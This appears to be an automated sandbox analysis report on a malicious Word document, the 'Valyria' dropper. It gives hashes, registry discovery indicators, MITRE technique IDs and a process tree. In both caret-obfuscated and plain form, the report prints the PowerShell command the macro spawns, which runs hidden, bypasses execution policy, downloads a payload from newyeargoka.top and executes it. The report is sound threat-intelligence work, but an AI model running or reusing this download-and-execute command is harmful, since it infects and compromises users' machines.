valyria | 8ffeab678d425795e55e0328ebf9685c5e2c2ec3d5094c0d88578a10d688c5a5

Analysis

max time kernel
8s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
23/10/2022, 09:40

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General

Target

8ffeab678d425795e55e0328ebf9685c5e2c2ec3d5094c0d88578a10d688c5a5.doc
Size

79KB
MD5

39de314ca12ec81359cbd1fabc12cb98
SHA1

d23e18a068f0ffde1fe7dbffbfa86ef459e3ee57
SHA256

8ffeab678d425795e55e0328ebf9685c5e2c2ec3d5094c0d88578a10d688c5a5
SHA512

67eb2a93e509ec34999f21757069d0729d06146796253e198d0449f2dfa83568a290cf7397a628a7489e2958fe61a45a387a1d3517397a79499f07ea0adfca73
SSDEEP

768:ixbpML2teJsNST+jBl8UDRxz99LHy85ZKYbkr+H/l7eYk3I:+M6ZNSTOl7DR31y8eYS+H/sj

Score

10^/10

valyria dropper

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://newyeargoka.top/read.php?f=0.dat

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3956	996	cMd.eXE	54

Valyria
Malicious Word document which is a loader for other malware.
dropper valyria

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
996	WINWORD.EXE
996	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1828	powershell.exe
1828	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1828	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
996	WINWORD.EXE
996	WINWORD.EXE
996	WINWORD.EXE
996	WINWORD.EXE
996	WINWORD.EXE
996	WINWORD.EXE
996	WINWORD.EXE
996	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 3956	996	WINWORD.EXE	87
PID 996 wrote to memory of 3956	996	WINWORD.EXE	87
PID 3956 wrote to memory of 1828	3956	cMd.eXE	89
PID 3956 wrote to memory of 1828	3956	cMd.eXE	89

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8ffeab678d425795e55e0328ebf9685c5e2c2ec3d5094c0d88578a10d688c5a5.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\SYSTEM32\cMd.eXE
  cMd.eXE /C "p^owe^Rs^heLL^.^ExE^ -eXECuTionPoLIC^y ^BY^p^A^Ss -nop^rO^Fi^Le^ ^-^w^iNDO^wSty^Le ^HI^dd^eN (^N^eW^-ob^JeC^t^ S^YSTEM^.N^ET.^WEbc^li^eNt).^Dow^nLOAdfI^LE^('http://newyeargoka.top/read.php?f=0.dat',^'%APPdaTa%.exE');St^Art-P^R^oCeS^S '%APPDaTA%.exe'"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRsheLL.ExE -eXECuTionPoLICy BYpASs -noprOFiLe -wiNDOwStyLe HIddeN (NeW-obJeCt SYSTEM.NET.WEbclieNt).DownLOAdfILE('http://newyeargoka.top/read.php?f=0.dat','C:\Users\Admin\AppData\Roaming.exE');StArt-PRoCeSS 'C:\Users\Admin\AppData\Roaming.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/996-132-0x00007FF9A63F0000-0x00007FF9A6400000-memory.dmp

Filesize
64KB

Download
memory/996-134-0x00007FF9A63F0000-0x00007FF9A6400000-memory.dmp

Filesize
64KB

Download
memory/996-133-0x00007FF9A63F0000-0x00007FF9A6400000-memory.dmp

Filesize
64KB

Download
memory/996-135-0x00007FF9A63F0000-0x00007FF9A6400000-memory.dmp

Filesize
64KB

Download
memory/996-136-0x00007FF9A63F0000-0x00007FF9A6400000-memory.dmp

Filesize
64KB

Download
memory/996-137-0x00007FF9A4260000-0x00007FF9A4270000-memory.dmp

Filesize
64KB

Download
memory/996-138-0x00007FF9A4260000-0x00007FF9A4270000-memory.dmp

Filesize
64KB

Download
memory/1828-141-0x0000027FCB010000-0x0000027FCB032000-memory.dmp

Filesize
136KB

Download
memory/1828-142-0x00007FF9B9EB0000-0x00007FF9BA971000-memory.dmp

Filesize
10.8MB

Download
memory/1828-143-0x00007FF9B9EB0000-0x00007FF9BA971000-memory.dmp

Filesize
10.8MB

Download